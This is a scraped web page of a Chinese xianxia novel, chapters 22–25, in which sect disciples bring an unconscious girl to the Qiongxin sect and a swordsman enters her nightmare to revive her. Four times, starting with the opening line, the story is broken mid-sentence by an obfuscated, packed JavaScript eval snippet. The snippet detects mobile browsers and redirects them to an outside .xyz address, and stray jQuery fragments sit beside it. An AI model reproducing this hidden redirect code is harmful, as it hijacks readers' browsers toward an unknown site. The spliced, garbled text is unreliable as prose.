l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840342|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”聂棋缘像是想说些什么,内心中隐隐有些不安。
“你若是惧怕,现在就可以下山,我不强求。”
聂棋缘一听就毛起来了,赌气似的爬到他前边去,表示自己的决心。
此山虽然陡峭,但两人毕竟都是修炼之人,这点困难不算什么,天黑之前,两人就爬到了山顶。
但此时还不能入谷。据疯道士所说,这朝阳谷之所以被称为朝阳谷,是因为它是整个人界朝阳之气最足的地方,而琼心门选址在此地更是有特别的意义。
琼心门不知第几代门主创造了一种独属于她们阵法,覆盖了整个朝阳谷,距今已不知多少个一百年了,不论是门中之徒又或者外来之人,都只能在朝阳升起那一刻才能进入谷内。
其余时刻不管用飞行或者步行都无法进入山谷,而是进入大阵制造的幻境之中,绕几圈就会不自觉地出了山谷。
此阵也就得名朝阳阵。
疯道士还提醒了他们,在朝阳阵面前,任何法力都会失效,所以他们不必想着御剑进去了。
进入谷内的唯一方法就是:朝阳初升时自山顶纵身跃入谷内。
两人在原地休整,明天一早再进入山谷。聂棋缘捶着发酸的胳膊和双腿,不禁问道:“世界上有这么玄乎的阵法吗?”
尽管灵霄宗有一脉是专门修习阵法的,但贺今羽基本毫无了解,也就不能回答这个问题。
他将祝来月轻轻放在地上,上面铺了一层垫子,看着她越来越苍白的脸色,他甚至不用试探就能知道她的呼吸也是越来越微弱。
时间不多了,他只能希望那疯道士不是在耍他们。
“答疑解惑是她的长处。”贺今羽不能回答聂棋缘的疑问,只这样说道。
天渐渐的黑了,那轮火红的太阳往西边沉了下去,带走了那种炽热的温度,在它完全没入群山之前,天边染成了由天蓝、暮山紫再到橙红的渐变。
照在他们身上的光不再灼人,而是变得像抚平情绪后的野兽,温顺亲呢。
他们发现围绕朝阳谷的这些山上不仅适合看太阳升起,看太阳落下也是美妙的享受。
尽管他们无心享受,管不了天的颜色究竟是蓝色还是橙色。太阳就这么落下去了,天空漆黑一片。
为了避免妖物和野兽的打扰,贺今羽决定守夜。恰巧他也实在没有睡意。
在聂棋缘入睡之前,他做了每日都在重复的练剑和运转灵力。在她睡着之后,他便不再练剑,只是抱着那柄伴他多年的白羽剑,靠着一棵大树席地而坐,一动不动。
林子里不时会远远地传来各类鸟鸣兽叫的声音,不算嘈杂,反倒别有一番惬意滋味。聂棋缘睡得沉了。
贺今羽仍旧一动不动。
这样静谧的夜晚,一点小小的声响都会引起他的注意。
突然,矮矮的灌木丛里有一阵子窸窸窣窣的声响,那声音很近,贺今羽将手放在了剑柄上。
“臭兔子,给我出来。”
一声清脆的声音传入耳畔,贺今羽觉得这声音似乎有些熟悉。
22. 入谷
贺今羽没有放松警觉,悄悄地站起身来,只见一名穿着亮丽的年轻女子从灌木丛中窜了出来,灵巧的程度堪比一只野兔。
“诶,师兄!好巧,你怎么在这里?我姐姐呢?”
来人不是别人,正是祝未璃。
她话刚说完,便发现了在他身边昏迷不醒的祝来月,迅速上前去查看姐姐的情况。
“怀卿师兄都和我说了。”
她本是在附近一座城里的谢家与他们的新任家主比试,得到景怀卿的传信后,马不停蹄地往东南方向行进,寻找贺今羽他们的身影。
“谁知道就走进这个山谷里绕了好几日,总在这附近的群山之内徘徊不前。”她说道。这些天她都靠山里抓些小兽来维持生存。
一旁本已睡熟的聂棋缘被吵醒了,看向贺今羽身边又多了一个陌生女子,问道:“贺大哥,她是谁啊?”
“宗主的关门弟子祝未璃,亦是祝来月的妹妹。”他向被吵醒后满脸不悦的聂棋缘介绍了一句。
聂棋缘看看祝未璃,又瞧了瞧那昏迷多日的祝来月,脸上的困惑不减反增,“亲姐妹吗?可你们长得并不相像?”
祝未璃笑了笑,不介意她的这番说辞,只是解释道:“只是凑巧不像而已,我和姐姐绝对是如假包换的亲姐妹。”她甚至还拍了拍胸脯,向她保证这话的真实性。
贺今羽打断了她们还要根据这个话题延伸下去的打算,提醒道:“明早还要入谷。”
聂棋缘倒是懂了贺今羽的意思,祝未璃还问着“入谷”做什么去。
第二天,天才拂晓,太阳还未从山边升起,整个人界都笼罩在一种淡蓝色的光辉之中,显得格外冷清。
三人都已经醒来,紧紧盯着那即将升起的旭日,入谷的时机只有短短的一刻钟,不可错过。
祝未璃本想由她来背着姐姐一同入谷,却被贺今羽反对了。理由是:接下来要发生的一切都不可预计,作为少宗主,他有义务保证每一个弟子的安危。
而在危难关头,往往是自保容易,保下其他人很难。祝未璃若是独身入谷,自保应当不是什么问题。
她歪头,总觉得哪里似乎不对似的。
“我记得怀卿师兄说你最怕麻烦了。”
还记得在止吴山初见时,贺今羽甚至不愿意景怀卿和他一起对付罗平鸟。
对此,贺今羽并无回答,只是默默地背起了祝来月,站在那陡峭的悬崖边上,等着至关重要的一刻钟。
只见那一轮橙红色的炽热火团从远远的山边冒出了头,笼罩着人界的淡蓝色光芒被金黄色的朝阳取代,使人不禁感受到希望。
也许那疯道士只是看起来不靠谱。
一刻钟开始了。
三人齐齐往悬崖下的朝阳谷内看去,尽管这山谷算不上深不见底,身为修仙之人见过的幽深山谷也比眼下的情景要可怕得多。
只因他们不能使用任何法术,必须径直投入悬崖,就像一个绝境时轻生之人一般。
贺今羽并无任何犹豫,带着祝来月纵身跃下。
祝未璃自然也无半分怯意,紧随其后跳下了悬崖。
悬崖边上只剩下聂棋缘一人,她咽了咽口水,“你们灵霄宗果然全是怪物,都不害怕的吗?”
随后,她紧闭起眼睛,一副视死如归的模样,迈出了心惊胆战的一步。
寂静的山岭之间只划过一道尖叫:“娘——爹——救命啊——”这尖叫很快就被翁郁的山林淹没了。
爬山很困难,费时费力,但跳下去就快得多了。
没一会儿,四个人就落入了谷底。
但预料中的剧痛并未传来,他们齐齐落在一块柔软的长草丛中,让人不禁怀疑自己跳的究竟是悬崖还是一级台阶。
三人皆环顾四周,发现只是普通的一片丛林,没有什么异常,聂棋缘怀疑道:“这是琼心门内吗?”
贺今羽下意识去抽剑警戒,结果发现四肢一软,昏倒在地上。祝未璃和聂棋缘也接连晕倒在原地。
醒来时,他们眼前一片昏暗,身下是坚硬的地面,柔软的草丛不知去了何处,整个房间没有窗户,亦没有灯,只有一扇小木门紧闭着。
这里显然是一间牢房。
“这是琼心门里面吗?”祝未璃问道。
“我们中了琼心门的香术。”贺今羽肯定道,世上能研制出来如此害人于无形的香术的唯有琼心门了。
木门忽然开了,走进来几个身着相同款式的沧浪色长衫的女子,其中一个眼神冷酷,道:“说,你们是何人?怎么进朝阳谷的?”
祝未璃立刻解释道:“我们是灵霄宗之人,此来实在有事相求。”
那人听完她自报家门后,又将象征着灵霄宗弟子的令牌取出来给她们看。
一枚纯银制作的令牌,上面有着仙鹤的纹路和“灵霄宗”三字。
那人狐疑地左右仔细看了一遍,又打量着祝未璃,这时,身边另一个女子说道:“师姐,那人好像是贺今羽,两年前在争鸣大会上夺魁那个。”
那人说道:“就算他真是什么少宗主,那你又是谁?年岁不过十五六,却是银制令牌。你是灵霄宗四长老的真传弟子?我灵霄宗虽闭门不出,消息却灵通得很,江湖中有什么新起之秀我为何从未听说过?”
她显然对灵霄宗以令牌材质划分等级之事了如指掌。
“那说明你们的消息还不够灵通。”祝未璃的话中没有任何讽刺之意,有的只是对自己的胸有成竹,她接着说道:“因为我确实是真传弟子,而且我已有大约一月都在同各大势力的新秀切磋。”
聂棋缘听到此处,连忙起身,“原来那个一月之内打败十余名争鸣榜上的高手,迅速跻身前三十的年轻剑侠是你啊!”
那人将信将疑,直到身边的另一名弟子附耳对她说了什么,她才褪去那副狐疑的表情,“暂且信了你们,说吧,来琼心门求什么?”
聂棋缘便将祝来月昏迷前后及其症状一一诉说,那人顿时皱起眉毛,说这种情况确实与走火入魔很有相似之处,但也绝非走火入魔。
情况极为复杂,从那人拧着的眉毛便可以看出。
“你们确实来对了,虽然我没有办法,但圣女大人一定有办法。只是……”芷儿说到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840343|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此处忽然停顿,面露难色,“圣女大人未必会出手。”
琼心门的圣女就是下一任掌门人,这一代的圣女名叫邱水怜,但这是她十余年前入门之后的名字,入门之后改随掌门之姓,门中知道她本名的唯有掌门一人。
邱水怜今岁三十余几,入门大约十七八年,既有天赋又比所有弟子更加刻苦。只是为人冷漠,除了门中之事一概不管。
贺今羽曾听说过她,那是十二年前的争鸣大会了。
那时贺今羽年方七岁,便听闻那届的争鸣大会乃是琼心门之人夺魁,将当时的父亲气得几天没个好脸色。
他向一旁疑惑的祝未璃她们简单讲述了他所了解的邱水怜的为人,祝未璃听后,不禁托起下巴,说道:“怎么这么似曾相识呢?”
聂棋缘一拍手,立马接道:“我知道我知道!特别像贺大哥,对吧?”
未璃恍然大悟,连连称赞聂棋缘简直是天才,“你和我想一块儿去了!”
“难道要成为天下第一就必须要像这位圣女和贺大哥一样高傲冷漠吗?”聂棋缘不禁总结道。
谁知祝未璃却不附和,笑嘻嘻地勾住聂棋缘的脖子说道:“当然不是,因为下一届的魁首定然是我!”
芷儿打断她们的嬉笑,说道:“我会向圣女大人如实禀告,至于她是否接受,就看你们的运气了。”
虽然琼心门不与任何宗门势力交好,但也无意得罪灵霄宗,便替他们各自安排了客房。
他们在房内等待芷儿的消息。片刻后,芷儿就回来了。果不其然,那圣女根本不理会芷儿所说之事,只是安排她明日送贺今羽一行人出谷。
治病一事是暂无希望了。
聂棋缘又拦住准备离开的芷儿,说道:“你们这迷香是不是有后遗症?为何我们时不时会觉得四肢酸软?”
芷儿说道:“忘了这事了,你们所中的是谷内日日散布的瘴香,专防外来之人,此香确实有些副作用。你们去制香阁找连阁主求解药吧,我还有事要处理,恕不奉陪了。”说罢,她便头也不回地走了。
聂棋缘不禁抱怨道:“我收回我方才说的话,这琼心门分明个个都是冷心冷情之人,难怪那什么圣女自恃孤傲。”
总之现在最重要的还是要去找到那什么制香阁,可天知道这制香阁又是哪里啊?
好在这琼心门之人虽然冷淡了些,起码还愿意为他们指路。他们根据路上遇到的弟子们的指引来到了琼心门三阁之一的制香阁。
经过阁中弟子的引见,三人顺利地见到了阁主连琬。出人意料的是,这位连琬倒不似其他弟子般冷酷,反倒十分和善。
她得知三人因瘴香所困时,当即便安排了弟子去取解药来。
“阁主,为什么圣女她如此冷情?”祝未璃问道。
连琬听了这话,长长地叹了口气,仿佛回忆起十余年前初次见到邱水怜时的场景。
她从回忆中脱离,微笑地对着不解的祝未璃说道:“圣女有着你们无法想象的过去,所以封闭了内心,但她是个好孩子,我想,你们若是真心想救你们的朋友,她一定会帮你们的。”
23. 真心
三人收下解药后,谢过了阁主便离去了。
路上祝未璃不禁反复思考“真心”二字的含义,可她实在不觉得自己对姐姐不够真心。
客房里,祝未璃同姐姐同住一屋,为了方便照顾她些。她回到房内时,发现姐姐的脸色比之前要差上好几番,再去探她的脉搏和呼吸,无一不是若有似无,命悬一线。
她顿时心生恐惧,连忙去隔壁两间屋子找贺今羽和聂棋缘,一面说着,眼泪就像断线的珠子,啪嗒啪嗒地往下落。
她承认她曾经有过一段很爱哭的时候,可这回不同。
聂棋缘来到屋内,替祝来月把完脉后,竟也变了脸色,“她恐怕撑不过明夜了。”
“不可能!”祝未璃斩钉截铁地说道,但眼泪却更多了,“姐姐不会有事的,她怎么可能有事?村里的婶婶伯伯都说她是极好的命格,她怎么可能……”
她嘴里反复说着那几个字。
她从来都是一副开朗的模样,无论谁失去希望她祝未璃都不会失去希望。
她会比所有人都更坚韧地振作起来。
可她从未想过有一天姐姐会离开她,而且竟然是这么快。
两三个月前止吴山一别之后,竟然没能再听她说一句话。姐姐过去对自己的谆谆教诲还依稀在耳边回荡,甚至上巳那日买给她的小玩意儿她还没有玩个遍。
这时,贺今羽一声不吭地离开了屋里。
朝阳谷,琼心门,云间阁。
邱水怜的居所外,突然来了个不速之客。
门外路过的芷儿瞧见贺今羽笔直地站在云间阁外,便进去向邱水怜禀报了。
邱水怜心下了悟,不动声色地说道:“今日课业可都完成了?”
芷儿回道:“师姐妹们都完成了。”
她连眼皮也不抬,只点了头,手上仍做着调香之事。
芷儿见状,知道自己该退下了。出了云间阁后,再次看见一动不动的贺今羽,她不禁提醒道:“快走吧,圣女大人决定的事除了掌门谁也不能改变。”
可惜掌门已然出谷云游多年,没有人知道她的下落。
见他不为所动,芷儿也不再多劝,便离开了此地。
此刻正值黄昏,夜幕很快便降临了。
邱水怜在入睡前,习惯先将阁内所有门窗紧闭上,在关窗时,瞧见阁外那人依旧保持着挺立的身姿,如同一棵屹立千年的松树。
她关了窗。
第二日一早,芷儿又来找邱水怜安排门中事宜,便看见贺今羽仍在原地,“你不会在这站了一夜吧?”
她不禁感到这所谓天下第一实在是愚蠢,否则就是太过执着。
贺今羽诚然是很执着的人,或许甚至可以称为犟。
他是学不会如何察言观色,也从来得不到父亲的认可。
其实也许就像祝来月说的那样,他太在意父亲对他的希望了,从而甚至忽略了自己的希望。
他实在是不想承认,在他自己的希望里,根本就不想做什么天下第一宗的宗主或者少宗主。一切都是为了能让父亲认可他。
也为了解决那只困扰江湖七百年的凶兽。
贺今羽本以为自己这一生都将一直否认自己的喜恶,直到遇见一个即使自身修为薄弱却仍然高度自洽的人。
他才明白原来活着并不用事事做到完美,只要在做自己认为高兴的事就算热烈地活过。
芷儿再次对邱水怜提起在外站了一宿的贺今羽,并小心翼翼地问圣女是什么打算。
邱水怜问道:“昏迷之人是何情况?”
芷儿连忙说道:“情况很糟,是从前未见过的例子,听说她活不过今夜了。”
“下去吧,这些是通灵阁的课业,桌上的是制香阁今日制香的原料。”
芷儿应了一声,抱着那堆材料和许多书籍走出了云间阁。经过贺今羽的身边时,她竟心生不忍:“你还是回去多陪陪你那位朋友吧。”
这话确实打动了贺今羽。说实在的,与其在这里和不可能的事死磕到底,还不如趁仅有的时间多看她几眼。
但他想到连琬说的那句话,就觉得不该放弃。
再次到了夜里,这极有可能是祝来月的最后一个夜晚。可偏偏乌云密布,是无月之夜。
邱水怜早早入睡,却被噩梦惊醒。
在那梦中,她仿佛回到了幼时,那段天天吃了上顿没下顿的饥荒日子。
那年她十一二岁,家乡闹了饥荒,全家人都饿肚子。母亲也是在那年死去的。
粮食太少,父亲给她的吃食更少,只因父亲和弟弟皆是男子,饭量自然大些。于是她看着弟弟长得越来越高,而她自己时常因为饥饿而感到手脚颤抖、头晕目眩,牙齿也开始大量出血。
直到那天,父亲第一次给她买了身新衣裳,她还没来得及感受新衣裳的柔软,就被父亲带到了一个富丽堂皇的酒楼之中。
她的全新生活就在这个看似华丽富足的地狱里开始了。
直到今日,她仍然惧怕回忆那段时日的细节,只知道身上全是鸨母鞭挞的痕迹很痛,日日夜夜练琵琶也很痛,而最痛楚的还是那件事。
某次,她与楼里另一个姑娘的关系愈发好起来,是在地狱中唯一一件能让邱水怜感受到生的希望的事。那个姑娘与她商议了要离开花楼,约好时间地点后,她没能等到那位姑娘,却等到了鸨母。
而那位姑娘则是趁此离开了花楼。
此后的日子连一点光亮都没有了。
直到琼心门的掌门云游时路过了那家花楼,无意间听见了邱水怜的抽泣声。
她看着脸上敷着厚厚的脂粉,身着锦绣华服,那双眼睛却止不住流泪的邱水怜。
琼心门的弟子其实有很大一部分是掌门在云游时解救的无家可归的女子,邱水怜是其中一个,也是最刻苦的一个。
她入门之后从未玩闹过,而是拼了命地修炼,无论是香术还是心术都是弟子中的佼佼者。
但她在门中没有一个朋友,即使有人找她说话,也会被她的无视气跑。她还常常做着同一个噩梦,这事儿也只有掌门知道。
今夜也是同样,辗转难眠。
她起身,将窗子打开一半,看着那人倔强地站在原地。
“进来吧。”她轻声说了句,灵力将她的命令传给贺今羽。
贺今羽走进云间阁内,这里一片冷寂。
邱水怜坐在椅子上,对着贺今羽说道:“贺少宗主,你的来意我已明了,救她可以,但有一个条件。”
“圣女请说。”
“以命换命。”她面无表情地说完这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840344|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
四个字后,等待着他的回答,等待着他露怯。
不等贺今羽回答,云间阁的门再次被推开,闯进来的人义无反顾地说道:“好,我换!”
祝未璃本是来叫贺今羽回去的,毕竟贺今羽已经整整两日不进任何饭食了,却在门外听到这样的一句话。
邱水怜转而看向自作主张闯进她的云间阁的年轻小丫头,说道:“我听过你的事,你短期之内挑战了许多高手,并且从未败过,为何如今要放弃这大好前途?”
“是,我是很想变强,可是我更不能失去姐姐,若是你也有姐妹一定能懂这种感受。”
她的话语无比坚硬,坚硬到甚至刺痛了邱水怜。
她是没有妹妹或者姐姐,但她有一个弟弟。听说他后来患了痨病死了,邱水怜称不上快活,却也丝毫不悲痛。所以她确实不懂。
“好,如你所愿。”她说罢,径直出了云间阁,往他们住的客房走去。
“师妹。”贺今羽面色复杂地看向祝未璃。
“师兄,你不用劝我,我不是一时冲动。姐姐是很好的人,为她做任何事我都甘愿。”
也许这就是邱水怜要的真心。祝未璃心想。
祝来月的情况的确不乐观,即使来的人是邱水怜,也还是面色凝重。
她仔细观察了祝来月的状况,又把了脉,最终给了三人一个准确的答复:“她中的是极罕见的惑心魇,普天之下唯有一种解法。”
祝未璃催促着她说下去。
“进入她的魇中,将她唤醒。”
贺今羽想起在荣州的那次,情况有些类似。
“但能够进入魇的人只有两种,一种是与中魇者身上流着同一血脉的至亲,另一种是心力远胜常人之人,这类人大抵有一种特征:经历过无数磨难。”
“那太好了,我来唤醒姐姐之后你再取我的命就好。”祝未璃心生欢喜。
“但我得提醒你,此去几乎十死无生,历来能唤醒中魇之人的人不超三个。”
但她仍旧面不改色,“反正我本来就答应了你换命的。”
邱水怜看向她时明显愣了愣,“接下来由我打开魇的入口,你取一滴血即可进入。”
听完后,祝未璃点了点头。
一旁的聂棋缘听得心生疑惑,问道:“什么换命?”
“回头再和你解释吧。”祝未璃笑嘻嘻。
可无论是聂棋缘还是贺今羽都笑不出来了。
邱水怜施展了秘术,开启了祝来月的魇境之门。
祝未璃见状取出了入门时宗门发的铁剑,原先她在击败谢家家主之后,师尊说会赠她一把绝世好剑。其实还挺想知道那是什么剑的。
铁剑划破指心,一大滴猩红的血珠从伤口冒出,她靠近那开启的魇境之门,血珠朝着那里飞去。
下一秒,发生了一件在场所有人都意想不到的事。
那颗血珠融入魇境那一刻,邱水怜耗费了极大心力开启的门竟然顷刻破碎。
邱水怜瞬间遭到了秘术的反噬,吐出一大口鲜血。
这种秘术知道的人极少,而且极费心力和灵力,只有邱水怜这般境界的高手才能成功施展一次,同时它的反噬也远远大于许多法术。
邱水怜擦净唇边血迹,质问道:“你和她不是至亲之人?”
24. 魇境
“怎么可能?”祝未璃立刻反问。
“秘术不可能有错,你和她绝没有血缘联系。”邱水怜的态度也非常认真且肯定。
聂棋缘说:“我就说你们两个长得一点都不像嘛,不像我和姐姐,人家都说我们的眉毛和眼睛都很像。”
见她仍旧一副茫然无助的表情,聂棋缘才知道自己说错了话,“抱歉,我不是有意……”
“那就试第二种。”一直沉默着的贺今羽突然开口,“我来。”
“别忘了,此行十死无生,你确定么?”邱水怜问他。
“开始。”贺今羽不带犹豫地回答了这个问题。
剑之道,若是贪生而惧死,便绝无可能领悟至高的剑道。
何况他要救的人不是芸芸众生中他不在意的路人。
邱水怜忽然笑了,“看来是我小看了你们。”
再次开启魇境之门极为困难,若是此次再失败,即使找到合适的人选,邱水怜今夜也不能再开启第三次了。
而祝来月也活不过今夜了。
她取出一盏灯形的灵器,对他们说道:“此物是我门中用来测验弟子心力强度的灵器,在灯中注入你的心力,灯发出的光芒越耀眼,心力便越是强大。”
贺今羽上前,凝聚心神,按照她说的方法向那盏灯里注入心力。
瞬间,那盏灯发出了极为刺眼的光芒,整个琼心门瞬间亮如白昼。
在场所有人都因此紧闭了双眼。
光芒退去后,邱水怜说道:“果然不负天下第一的名声。”
贺今羽合格了。
连他自己都有些意外。在荣州时,他几乎是瞬间就中了绮罗的幻香,可心力强大之人最显著的体现便是大多幻术皆会对其无效。
当他提及此事时,邱水怜说道:“家师云游时曾见过你所言的狐妖胡媚儿,她的幻术是极为特别的一种,心力强大与否不重要,而是看一个人的执念,执念越深便越易迷失。”
而往往执念深沉之人大多亦是心力强大之人。
事不宜迟,邱水怜再次调动体内全部灵力和心力,开启了魇境之门。
邱水怜之后跟他说了几句嘱托:“进去之后的情景我也无法判断,魇境反映的是一个人最深处的灵魂,甚至连她本人都不了解的灵魂。”
之后,贺今羽便顺利进入了魇境。
那是一片寂静又祥和的森林,花草漫漫,虫鸟轻鸣。
若是要找到一个形容,贺今羽只能想到万物复苏之春。
原来她的灵魂是这样的。
他小心前进着,这里不同于以往的试炼,一步踏错,他和祝来月都是万劫不复。
但这里实在太宁静了,看不出其中蕴含任何危险。
他走进森林之中,里头全是些他从未见过的草木,简直不像是人界之物。但总体依然给人舒适的感受,连气候都很是宜人,若是在此久居,一定是件美事。
森林之中还有一条涓涓的小溪流,溪中有许多灵活的小鱼儿,尽管贺今羽叫不上名字,也还是不禁有些心旷神怡。
怎么回事?他可从来没这样细致地欣赏过什么美景,他的人生里除了剑就是责任。
他紧紧抓住白羽剑,希望能从中找回一些力量。但这方法没有奏效,也许是她的灵魂对他的影响已经到了他无法控制的地步。
贺今羽沿着小溪流走在林中,避免在不知觉中迷失方向。走了好一会儿,他才走到了小溪的源头,那是一片清澈如镜的湖泊。
湖泊镶嵌在郁郁葱葱的森林中,在群青之间点缀了一点湛蓝。
在这片在微风中掀起阵阵涟漪的湖泊边上,有一棵极为惹眼的树。这棵树有参天之高,树身也极粗,不知要多少个人加起来才能环抱。
贺今羽看不见它的顶部究竟延伸到了何处,但他可以清晰看见树下那抹熟悉得不能更熟悉的身影。
祝来月。他在心底轻声念她的名字。
她躺在粗壮的树根上,身上穿着一件浅碧色的衣裙,她的眼睛是阖上的,安静到与这片森林融为一体。
贺今羽在原地望着熟睡的她出了好一阵神,才终于决定迈向她。
她看上去不太一样了,可他也说不上来究竟是什么地方改变了。
没前进几步,他的出现惊醒了在睡梦中的祝来月,“你是何人?”她问道。
“贺今羽。”
“贺今羽是谁?”
贺今羽沉默了,他该说他是谁好呢?只记得初见那夜,他甚至不必介绍自己的身份,就被她一眼看穿,所以他竟从未向她介绍过自己。
见他沉默,祝来月不知怎么竟然轻笑出声,“你不属于这里。”
“这是哪里?”他问道。
这和她生长的止吴山完全不一致,按理说每个人内心深处的环境大多都是曾经生活过或者至少去过的地方。比方说他的幻境中便是灵霄宗的场景。
她没有回答,只是轻快地朝着森林深处跃去,微风拂过,吹起她如瀑般的青丝,他在风中闻见了那熟悉的桃花香气。
他跟了上去,但是只要一靠近,她就躲开了。根本不给他同她交谈的机会。
这很奇怪,因为以他千里快哉风的身法不可能追不上祝来月这样没有修为之人,可无论他如何加快速度,总是只能看见她的背影。
过了好一阵都没能追上她,他索性不再去追,而是观察魇境的异样之处,反正在这里并不影响现实中时间的流逝。
进入此地已有一段时间了,然而他一直没见到除了祝来月以外的任何人。她的心魔究竟在哪?他百思不解。说起来,祝来月这样的人究竟会有什么心魔,她这样自在又豁达。
他不禁回想起祝来月昏迷之前的那个夜晚,他第一次瞧见她短暂地失去自信的模样。
对,她的心魔是自己的身世之谜。
这一路来,连贺今羽都发现了,祝来月虽然没有灵根,与常人无异。但她身上有许多常人都不会有的东西,例如子夜对她的评价是身上的气息比她以往吃过的百余人更加诱人,又例如那些来历不明的木雕残片。
那些残片的融合对祝来月的影响十分大,就连修行之人以血作约,刻在灵根上的本命灵器对其主人的影响也没有这样深刻。
贺今羽是有本命灵器的,白羽剑,自幼时便跟着他。他当然清楚本命灵器对主人的影响。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840345|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
此时,胃中一阵灼烧般的疼痛,他想起自己已经两日多未曾进过一滴水、一粒米了,又加上刚刚追着祝来月几乎跑遍了整个森林,体力也耗尽了。
既然暂且解决不了惑心魇,干脆吃点东西,否则连思考的力气都要没有了。
他抓了一只兔子,正准备烤了果腹,刚在湖边支起火堆时,那来无踪去无影的祝来月突然出现。
他想着起码要同她打招呼,结果她一挥袖,自己的胸口处忽然传来一道极大的力道,将他生生击出去十余米远。
贺今羽猛咳几声,吐了一地鲜血。
他抬起头望向祝来月,只见她神色冷然地看着兔子尸身,他还是头一次在她柔美的脸上看到这样的表情,不禁有几分愣神。
她忽然朝这边走了几步,表情依旧冷然,但口中却说着:“抱歉,我极少出手,有些重了。”
贺今羽下意识回答道:“无碍。”
其实真的无碍,之前他在他的幻境中以剑伤她,如今她在她的魇境中出手伤他。反倒打消了些贺今羽的愧疚,算是扯平了。
他后来才得知,是因他在湖边行杀身之事,会使那片澄澈的湖被杀戮污染,这是她最不愿意看见的。
也因为这事,祝来月竟然不再躲着他了。他终于能问她一些问题:“此地究竟是何处?”
“我生长的地方。”她不再躲避,放下了对这个外来者的警戒,又反问他:“是不是他叫你来这里捉弄我的?”
“谁?”
“是……”祝来月刚准备将他的名字说出来,却顿时感到一阵头痛,怎么也想不起他究竟是谁。
他们不再纠结于这个问题,而是聊了许多其他的小事。
与平常不同的是,贺今羽本是不喜与人相处亦不擅长说话的人,此刻竟然滔滔不绝地说了许多小时候的事。
比如景怀卿分明是前任戒律长老的养子,却被父亲收入门下做唯一的真传弟子,记事起,父亲便常常在许多长老面前夸奖怀卿听话乖巧。他起先是有些厌恶他的,但后来因为什么事同他成了朋友,也是他唯一一个朋友。
又比如幽篁长老对他极好,他虽从未见过母亲,却隐隐觉得母亲若是在,便像幽篁长老这般吧。
他对她诉说了父亲的期望使他为难一事。说也许因为此时祝来月并不认得他,他才能将藏于心底十九年的心声说出口来。
“其实你应当多想想自己的期望。”
两人一起坐在那棵参天古树之下,祝来月拨弄着手边的野草,眼神一贯的明亮。
她又接着说道:“其实你分明有自己喜爱之事,何必听从他的期望?人之一生不过须臾,若是无法尽兴,岂非可惜。”
贺今羽凝睇着她,良久,他才问道:“那你的方向呢?”
她竟然有些茫然,沉默下来。
“我们走吧。”他随手指了一个方向,“往那。”
既然他们都是不知何去何从之人,不妨朝着某个方向一直前进着,说不定某一日便能想个明白。
总比固执地拧在原地要好。
她站起身,突然去牵住他的手,像他说的那样朝着那个方向飞奔而去。
25. 雪恨
原来她一直在寻找的方向是随心而行。
他们一直前行着,从森林出来后便是一片一望无际的大草原,远处又有群山蔓延。
飞奔时从耳边呼啸而过的风吹起两人的青丝、衣摆,舞动得既像蝴蝶、又像游鱼。
两人不知跑了多久,她感到身侧那人的脸颊似乎有些熟悉,可他现在露出的微笑却使她陌生,仿佛这人生来就不常露出笑意似的。
她的脑海里突然涌入大量的记忆,终于想起这个陌生的外来者是谁了。
“贺今羽。”她停下步伐,认真、又略带笑意地看着他,“我想起来了,我们离开此地吧。”
他脸上的笑意更甚,又添了好分惊讶,“你有办法?”
“应当不会使你我失望。”
这句话极为熟悉,贺今羽顿时想起了她上回说相同的话的情景。于是他也效仿了上回的态度,迅速地信任了她的想法。
她松开牵着他的手,摊开了左手,又以右手的指尖飞速一划,左手便出现了一个伤口,伤口渐渐流出血液。
祝来月心里把握不多。根据荣州时在贺今羽的幻境中的经验,她隐约知道自己的血液对幻术有效,只是这里并非幻境,不知道能不能起效果。
血液自手心滴落在草地上,只见天地忽然崩落,从血液漫延的地方裂出了一个深深的缝隙。那缝隙越来越大,大到足以容纳两个人通过。
他们从缝隙中向下坠落,与那湛蓝的天空、青翠的群山一起向下无穷无尽地坠落下去。
直到贺今羽落在木质的地面上,看着四周围着三个女子,是祝未璃她们。
“贺大哥,你回来了!”聂棋缘喜出望外地上前去搀扶他起来。
祝未璃顿时反应过来,“那我姐姐……”她转头走向祝来月那边,只见榻上那人挣扎着眼皮,悠悠转醒。祝未璃兴奋地喊出声:“姐姐,你醒了。”
“璃儿,你怎么在这?”她看着阔别数月的妹妹,很是惊喜。
祝未璃立刻扑在姐姐身上,低声抽泣着。
